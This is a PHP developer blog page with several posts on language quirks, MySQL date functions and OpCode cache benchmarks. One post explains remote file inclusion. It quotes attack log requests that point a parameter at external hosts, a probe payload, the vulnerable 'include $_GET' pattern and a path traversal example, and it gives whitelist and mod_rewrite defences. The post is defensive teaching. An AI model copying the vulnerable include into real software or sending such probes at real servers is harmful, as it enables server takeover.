Veröffentlicht am

Self-Generating Class Objetcs in PHP

I have a directory on the webserver in my development environment where I do little experiments. I try out stuff that I cant figure out by looking into the PHP documentation – either because I can’t find the right place to look or because it’s just not explained.

Sadly I need to use that directory quite often. Almost daily.

Today I found this little gem:

$x->y->z = 123;
echo $x->y->z;

Without trying, what would you guess what happens when I try to set a value to a property of a property of a variable that I never initialized with an object?

I thought, this would fail and quit with some kind of error message. But no: This script prints „123“.

When I add a print_r($x) to my code I get this:

stdClass Object
(
    [y] => stdClass Object
        (
            [z] => 123
        )

)

That means that PHP creates an object for me when I try to access properties of a variable that is not set, yet.

So: What happens when the variable HAS a value before I try to set a property?
I have to answer with „Well, that depends…“

  • If the variable is NULL or an empty string (!), an object will be auto-generated
  • If the variable is numeric (including „0“ (!)) or a string with a length of at least 1 character nothing happens at all. No error message, nothing.
  • If the variable already is an object, nothing needs to be done. But note that if the object has no property of the given name, a property is added automatically

I find it quite strange that an empty string seems to be handled the same way as NULL while the numeric value 0 is not.

Another magic behavior uncovered… Let’s see what comes next…

Veröffentlicht am

Amazon CloudForce als CDN verwenden

Ich habe gerade ein kleines PHP Script geschrieben, mit dem man ganz einfach ein lokales Verzeichnis (inclusive Unterverzeichnisse) auf einem Webserver in ein Amazon S3 Bucket spiegeln kann – beispielsweise, um diese dann für CloudForce zu verwenden.

Eine erste Version gibt’s jetzt hier herunterzuladen: S3 Mirror for PHP.

Veröffentlicht am

TO_DAYS und FROM_DAYS in PHP

Ich war gerade mal so frei, eine einfache Implementierung der beiden MySQL-Funktionen TO_DAYS und FROM_DAYS in PHP zu basteln. Die Funktionen sind weder vollständig noch sonderlich elegant programmiert, aber sie sind mit den Werten aus MySQL kompatibel, d.h. man kann aus den Zahlen, die MySQL liefert in PHP ein Datum erstellen – und umgekehrt.

Sie funktionieren für’s hier und jetzt. Wer also in der 32bit Unix-Zeit bleibt, der sollte auf der sicheren Seite sein.

function TO_DAYS($date) {
	if (is_numeric($date)) {
		$res = 719528 + (int) ($date / 86400);
	} else {
		$TZ = date_default_timezone_get();
		date_default_timezone_set('UTC');
		$res = 719528 + (int) (strtotime($date) / 86400);
		date_default_timezone_set($TZ);
	}
	return $res;
}

function FROM_DAYS($daystamp) {
	return gmdate('Y-m-d', ($daystamp - 719528) * 86400);
}
Veröffentlicht am

Abstürze durch PHP OpCode Caches

Thomas Kruse hat auf seinem Blog everflux seine Erfahrungen zur Stabilität mit den diversen OpCode Caches veröffentlicht – mit einem ziemlich eindeutigen Ergebnis: Sie sind es allesamt nicht. Abstürze gehören wohl zur Regel.

Jetzt kommt der Haken: Ich kann das nicht bestätigen.

Wir setzen seit langem auf einigen unserer Webserver (zukünftig wohl auf allen) eAccelerator ein, und haben damit noch nie Probleme gehabt. Derzeit laufen alle unsere Server auf Intel-Prozessoren, und der Wechsel zu 64bit Betriebssystemen steht erst jetzt an – vielleicht ändert das etwas. Wir werden sehen.

Ausserdem hängt die Instabilität – allen Berichten zufolge – auch stark mit den eingesetzten Scripten zusammen.

Wir sind in der glücklichen Lage, das ohne große Auswirkungen für unsere Besucher herausfinden zu können – mehreren identische Webservern hinter einem guten Load Balancer und leistungsfähigem Server-Monitoring sei dank.

Sollte sich dann etwas anderes herausstellen, dann gibt’s das natürlich hier zu lesen.

Veröffentlicht am

Benchmarking PHP: eAccelerator und andere OpCode Caches

Die Aufgabenstellung: Die Applikationen aus unserem Hause sollen so stabil und leistungsfähig laufen wie möglich. Ein wichtiger Bestandteil der Applikations-Infrastruktur stellen in unserem Bereich die Webserver dar, die PHP-Unterstützung mitbringen müssen.

Bei meinen Versuchen, die bestmögliche, unseren Anforderungen entsprechende Serverkonfiguration zu finden, habe ich ein paar Benchmarks gemacht, die ich hier mit der Welt teilen möchte.

Die Benchmarks

Im ersten Schritt habe ich diverse OpCode Caches und den ZEND Optimizer ausprobiert.

Das Testsystem ist ein DELL PowerEdge R200 Server mit einem Core2Duo E4500 Prozessor und 4GB RAM. Darauf zugegriffen wurde über ein lokales 100 MBit Netzwerk.

Der Server läuft auf Debian Linux (64bit), als Webserver-Software kam Apache 2.2.3 mit PHP 5.2.0 über mod_php zum Einsatz. Allesamt wurden aus den Debian-Paketen installiert.

Für meine Benchmarks habe ich drei verschiedene Scripte verwendet:

  • KCAPTCHA
    Ein Script, das Captcha-Bildchen erzeugt. Dieses Script verwendet zwar relativ viel die GD2 Grafik-Library, wodurch ein großer Teil des Programmablaufs genaugenommen „fix“ ist, weil die Geschwindigkeit von GD2 nicht durch die Optimierungen verändert wird. Das Programm führt aber auch einige Schleifen und Berechnungen in PHP durch, um die Grafik vor der Ausgabe zu verzerren.
  • Viel Code, wenig Ausführung
    Das zweite war ein eigentlich sehr einfaches, selbst geschriebenes Script, das nicht viel mehr gemacht hat, als die Zahlen von 1 bis 100 in einer Schleife auszugeben. Zusätzlich habe ich allerdings (absichtlich sinnloserweise) eine 20 KByte große PHP-Datei includiert, die einige Funktionen enthält, die ich bei meinen Projekten regelmäßig verwende. Damit sollte sich die reine Aufruf-Geschwindigkeit messen lassen, ohne durch eine Script-Laufzeit groß beeinflusst zu werden.
  • WordPress
    Last, but not least, um etwas praxisnäher zu testen: Eine WordPress 2.3-Installation, in die ich mit ein paar Blindtexten gefüllt habe. Als Datenbank kam eine ebenfalls lokal auf dem Server installierte MySQL-Instanz zum Einsatz.

Als Optimierer kamen zum Einsatz:

An den Einstellungen der verschiedenen Optimizer habe ich nichts geändert, also so weit überhaupt möglich immer die Standard-Einstellungen verwendet.

Was ist ein OpCode Cache?

eAccelerator, XCache und APC stellen OpCode Caches dar. Ohne einen solchen wird bei PHP bei jedem Script-Aufruf das entsprechende Script frisch „compiliert“ und dann ausgeführt. Wenn man aber einen OpCode Cache installiert, so werden die compilierten Scripte im Speicher gehalten, so dass sie bei einem weiteren Aufruf aus der Konserve verwendet werden können. Das spart ab dem zweiten Aufruf die Compilierungs-Zeit.

Einige der Caches bringen auch noch einen Optimizer mit.

Was ist ein OpCode Optimizer?

Der ZEND Optimizer dagegen ist ein OpCode Optimizer, der versucht, PHP-Scripte bei der Compilierung zu optimieren, sie also schneller zu machen. Als Beispiel kann man sich beispielsweise eine „kleine Schleife“ vorstellen:

for ($i = 0; $i < 3; $i++) {
echo 'Schleife<br />';
}
echo 'Schleife<br />';
echo 'Schleife<br />';
echo 'Schleife<br />';

Beide Beispiele ergeben das gleiche Resultat. Das obere Beispiel ist als Programmcode vielleicht ein bisschen „hübscher“ anzusehen. Trotzdem ist die untere Variante etwas schneller. Es müssen keine Variablen initialisiert, verglichen und hochgezählt werden, es muss nicht „im Programm zurückgesprungen“ werden. Klarer Geschwindigkeitsgewinn. Noch schneller wäre es als eine einzelne „echo“-Anweisung.

Solche Muster zu erkennen und zu ersetzen ist die Aufgabe eines OpCode Optimizers.

Benchmark 1: KCaptcha

Jetzt aber zu den Testergebnissen. Um die Geschwindigkeit zu überprüfen kam das Tool Apache Benchmark. Mit diesem habe ich von einem anderen Rechner über’s Netzwerk jeweils 10.000 Anfragen an die drei Test-Scripts abgefeuert, jeweils mit 20 parallel laufenden Anfragen.

Zuerst KCAPTCHA:

Die Skala unten gibt an, wie viele Sekunden für die 10.000 Aufrufe benötigt wurden.

Klarer Gewinner hier: Der eAccelerator.

zend + eaccelerator 177,54 Sek.
eaccelerator 177,60 Sek.
xcache 183,39 Sek.
apc 187,46 Sek.
none 190,00 Sek.
zend 225,10 Sek.

Auf den ersten Blick etwas überraschend mag wirken, dass der ZEND Optimizer sowohl auf dem ersten, als auch auf dem letzten Platz zu finden ist – ja sogar langsamer ist, als wenn man ganz auf den Einsatz einer Optimierung verzichtet. Die Lösung: Im Alleingang ohne OpCode Cache braucht der Optimizer mehr Zeit zum Optimieren, als durch die Optimierungen eingespart wird.

Im Gegenzug dazu kann der Optimizer in Kombination mit dem Cache seine Stärke ausspielen: Hier muss nur ein mal optimiert werden. Bei den folgenden 9.999 Aufrufen wird auf den bereits optimierten Code zugegriffen. Bei KCAPTCHA war die Ersparnis aber eher gering, was an der Struktur des Programmcodes liegt. Hier ist einfach nicht viel zu optimieren.

Benchmark 2: Test-Script „viel Code, wenig Ausführung“

Ein ähnliches Bild ergibt sich beim zweiten Testscript:

Hier tritt noch mehr in den Vorschein, dass der ZEND Optimizer die Laufzeit optimiert. Da dieses Script aber nahezu keine „Laufzeit“ hat, sondern nahezu nur aus Compilieren besteht, liegt der ZEND Optimizer auch dieses mal ganz hinten. Wieder ist der eAccelerator der Gewinner:

eaccelerator 2,40 Sek.
apc 2,48 Sek.
xcache 2,51 Sek.
zend + eaccelerator 2,85 Sek.
none 11,60 Sek.
zend 13,80 Sek.

Man sieht aber eindeutig den Vorteil, den ein OpCode Cache mitbringt. Von 11,6 Sekunden auf 2,4 Sekunden sind durchaus spürbar.

Benchmark 3: WordPress

Zum Abschluss noch ein „praxisnäheres“ Beispiel: Im dritten Durchlauf habe ich noch eine WordPress Installation getestet, indem ich 10.000 mal die Startseite aufgerufen habe. Ziel war es, herauszufinden, ob der ZEND Optimizer an dieser Stelle seine Asse ausspielen kann.

Auch dieses mal liegt der ZEND Optimizer ohne OpCode Cache abgeschlagen hinten. Was mich allerdings ein bisschen überrascht hat: Mit eingeschaltetem eAccelerator schnitt er immer noch schlechter ab, als der eAccelerator alleine.

eaccelerator 490,74 Sek.
xcache 501,41 Sek.
apc 501,45 Sek.
zend + eaccelerator 506,40 Sek.
none 873,98 Sek.
zend 928,10 Sek.

Fazit

Was die OpCode Caches angeht kann man eindeutig feststellen, dass es sich sehr lohnt, einen zu installieren. Der eAccelerator hat bei all meinen Tests als Sieger abgeschnitten, aber auch die anderen beiden Kandidaten haben sich nur unwesentlich schlechter geschlagen. Die Geschwindigkeitsgewinne gegenüber „Kein Cache“ sind schwer in Zahlen auszudrücken, da sie von Anwendung zu Anwendung schwanken (abhängig des Verhältnisses „Compilierung“ zu „Laufzeit“). Gerade bei WordPress, der getesteten Anwendung lag sie aber bei spürbaren 78% Leistungssteigerung.

Dagegen muss ich anhand der Ergebnisse meiner Tests von der Installation des ZEND Optimizers abraten, so lange nicht wichtige Gründe dafür vorliegen, warum er laufen muss. Im Normalfall ist er kontraproduktiv und verbraucht mehr Ressourcen als er einspart.

So viel zum ersten Teil meiner Forschungsreise. Im nächsten werde ich die Performance verschiedene Caching-Mechanismen vergleichen.

Veröffentlicht am

Sicherer PHP-Code: PHP Code Injection verhindern

Wer ab und an mal einen Blick in seine Webserver-Logdateien wirft (was man als ernsthafter Webmaster regelmäßig tun sollte), der wird vermutlich früher oder später über derartige, seltsame Seitenaufrufe stolpern:

  • „GET /fooscript.php?w=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin%2Flibraries%2Foduzov%2Fneloze%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fsahel55.com%2Farticles%2Fomaduro%2Fkimumid%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.cjp.spb.ru%2Fen%2Ftis%2Fleboma%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.electrofed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F HTTP/1.0“

Das Muster ist immer das gleiche: Innerhalb von kurzer Zeit werden mehrere relativ ähnliche Aufrufe von ein und der selben IP gestartet. Dabei wird ein wirklich auf dem Server befindliches Script (in diesem Beispiel fooscript.php) aufgerufen und dabei einer der (ebenfalls wirklich existierenden) Parameter mit einer URL einer auf einem anderen Server liegenden  Datei befüllt.

In den oben gezeigten Beispielen liegt unter den angegebenen Adressen eine Datei mit folgendem Inhalt:

<?php echo md5("just_a_test");?>

Es wird relativ schnell klar, was das eigentlich nur sein kann: Hier versucht jemand, eine Schwachstelle in den auf dem Server laufenden PHP-Scripten ausfindig zu machen.

PHP bietet nämlich die mächtige Funktionalität, auf URLs genau so lesend zuzugreifen wie auf lokal auf der Festplatte liegende Dateien. Das gilt für Datei-Operationen wie fopen genau so wie auch für – und hier wird’s für Hacker interessant – include und require.

Und wenn jetzt ein Programmierer so unvorsichtig war, in seinem Programm ungefiltert Werte aus dem Querystring an ein Include zu übergeben, der hat an diesem Punkt leider verloren.
<?php include $_GET['w'];?>

Was jetzt passiert ist folgendes: Das PHP-Script liest die im Seitenaufruf übergebene Web-Adresse aus und führt den dort liegenden Code aus. Es erscheint also der Text „c6db3524fe71d6c576098805a07e79e4“ in der Seite (das ist die MD5-Checksumme von „just_a_test“). Damit weiss der Angreifer, dass er an dieser Stelle beliebigen PHP-Programmcode auf den Server einschleußen kann. Und wenn er das kann, dann hat er die Kontrolle über den Server. Er kann beliebige Daten „hochspielen“, in der Datenbank tun und lassen, was er will, und, und, und…

Was also dagegen tun?

Einerseits ist das mit dem Zugriff auf URLs so wie auf normale Dateien schon eine praktische Sache. Oft kann man aber darauf verzichten. Die Holzhammer-Methode ist, in der php.ini die Einstellung allow_url_fopen zu deaktivieren. Damit ist man auf der sicheren Seite, hat aber das „Problem“, dass man damit eben die ganze Funktionalität abgeschaltet hat, und zwar nicht nur für include und require, sondern auch bei den anderen, nicht so problematischen Datei-Operationen.

Ganz davon abgesehen hat man sich damit noch nicht dagegen geschützt, dass mit dem oben genannten include-Statement doch noch Schabernak getrieben werden kann.

Häufig ist die Anwendung eines solchen Includes ja, dass es eine Art „Framework-Seite“ gibt, die beispielsweise das Layout beinhaltet und die Datenbank-Connection öffnet. Und darin werden dann einzelne Funktions-Module geladen. Man könnte sich beispielsweise vorstellen, dass mittels „index.php?w=home.php“ die Datei home.php den Startseiten-Inhalt an der richtigen Stelle einblendet, während „index.php?w=links.php“ im gleichen Layout eine Linkliste zeigt. Was aber, wenn ein Angreifer auf die Idee kommt, „index.php?w=/etc/apache2/apache2.conf“ aufzurufen? Bekommt er dann die Konfigurationsdatei des Apache-Webservers angezeigt?

Da hilft nur eines: Sicherstellen, dass auf jeden Fall nur erlaubte Include-Pfade angegeben werden können. Eine erste gute Idee ist es schon mal, beim Include vorne und hinten an den übergebenen Parameter etwas anzuhängen:
<?php include '/var/www/includes/' . $_GET['w'] . '.plugin.php';?>
Damit fällt erstens die Möglichkeit weg, per „http://…“ etwas von einem anderen Server zu laden, weil der damit generierte Dateiname keinen Sinn mehr macht. Ausserdem kann man nichts anderes mehr als Dateien „reinladen“, die mit „.plugin.php“ enden.

Schöner, aber immer noch nicht perfekt. Noch ist der Angreifer nämlich nicht ganz eingeschränkt. Noch immer kann er mit Aufruf von „index.php?w=../../foo/bar“ eine Datei aus einem anderen Verzeichnis als eigentlich vorgesehen aufrufen.

Ergo: Weiter filtern. Entweder mit einer Blacklist oder einer Whitelist.

Blacklist bedeutet: Wir suchen nach Mustern, die wir auf jeden Fall verbieten wollen. Wenn beispielsweise der übergebene Parameter „../“ enthält, dann brechen wir ab. Das gute daran ist, dass wir relativ flexibel erlauben oder verbieten können, wie auf die Seite zugegriffen werden kann. Der Nachteil allerdings ist, dass wir alle möglichen Angriffs-Strategien vorausahnen und unterbinden müssen.

Sicherer sind Whitelists: Hier sagen wir, was erlaubt ist. Wir können beispielsweise eine Liste aller erlaubten Werte in einem Array halten und überprüfen, ob der beim Aufruf übergebene Wert enthalten ist:
$ok = array('home', 'links', 'downloads');

if (in_array($_GET['w'], $ok)) {
  include '/var/www/includes/' . $_GET['w'] . '.plugin.php';
}
Dadurch verlieren wir aber einiges an Flexibilität, da wir jedes mal, wenn es eine neue Seite geben soll, auch den $ok-Array aktualisieren müssen. Wir könnten aber auch definieren, dass einfach alle include-Dateinamen einem bestimmten Muster folgen müssen. In etwa: Sie bestehen nur aus alphanumerischen Zeichen und Underscore. Ergebnis:
include '/var/www/includes/' .
preg_replace('/[^a-z0-9_]/i', '', $_GET['w']) .
'.plugin.php';
Und schon kommt uns an dieser Stelle nichts gemeines mehr rein.

So ganz ohne Haken ist das aber auch noch nicht: Erstens hat man bei fremden Scripten oft gar nicht so genau den Überblick, was darin eigentlich passiert – und zweitens muss man natürlich auch bei eigenen Scripten an jeder einzelnen relevanten Stelle aufpassen. Und last, but not least: Wenn das Script erst irgendwas halbwegs sinnvolles tut, dann aber wegen dem falschen Parameter abbricht, dann hat das zwar keine so fatalen Folgen mehr, kann aber einen negativen Beigeschmack haben.

Beispielsweise bringen solche Aufrufe gern Seiten-Abruf Statistiken durcheinander.

Deshalb zuletzt noch eine meiner Meinung nach sehr schöne Zusatzsicherung: Wenn man sicher sein kann, dass keines der auf dem Server laufenden Scripte ein „http:“ im Querystring erwartet, dann kann man einen Apache-Webserver mittels ein paar Zeilen in der .htaccess absichern. Bedingung ist allerdings, dass man mod_rewrite installiert hat.
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /--http-- [F,NC]
RewriteRule http: /--http-- [F,NC]
Diese Befehle durchsuchen den eingehenden Request nach „http:“, und falls es vorkommen sollte, so antwortet der Server sofort mit einem „Forbidden“. Der Angreifer ist also abgewehrt, bevor es überhaupt zur Ausführung von PHP-Code kommt.

Allerdings daran denken: An manchen Stellen mag es durchaus Sinn machen, „http“ als Parameter zu erlauben. Falls nicht, so ist das jedoch der Weg der Wahl – und falls doch, dann kann man auch dazu etwas mit mod_rewrite zaubern.

Veröffentlicht am

Untypisierte Variablen und logische Verknüpfungen

Ich habe mal wieder ein klassisches Beispiel für Probleme, die Auftreten können, wenn Variablen in einer Programmiersprache nicht sauber typisiert sind:

$x = 255; $y = 96;
echo $x, ' OR ', $y, ' => ', ($x | $y);

Die beiden Variablen werden ODER-Verknüpft. Das Ergebnis ist wie zu erwarten…

255 OR 96 => 255

Was aber, wenn die beiden Werte bei der Zuweisung keine „Zahlen“, sondern Zeichenketten waren?

$x = '255'; $y = '96';
echo $x, ' OR ', $y, ' => ', ($x | $y);

Überraschung:

255 OR 96 => ;75

Und auf ein mal funktioniert der ansonsten durchdachteste Algorithmus nicht mehr. Deshalb lieber immer mit Typecast arbeiten:

$x = '255'; $y = '96';
echo $x, ' OR ', $y, ' => ', ((int) $x | (int) $y);
Veröffentlicht am

Null und nichts in PHP

Vielleicht interessant für den einen oder anderen, dem dadurch die eine oder andere Minute Debuggen erspart bleibt…

Ich bin gerade einem seltsamen Phänomen in einem meiner Scripte nachgegangen. Eine meiner Variablen schien einfach zu verschwinden, dabei sollten nur die Variablen ohne Inhalt ignoriert werden.

Pustekuchen:

$x = 0;
if ($x == '') echo 'leer';

Dieses kleine Stückchen PHP-Programmcode spuckt tatsächlich „leer“ aus, obwohl ich vorher eine 0 in $x gefüllt habe. Der richtige Weg, um zu überprüfen, ob eine Variable einen leeren String enthält, ist also

$x = 0;
if ($x === '') echo 'leer';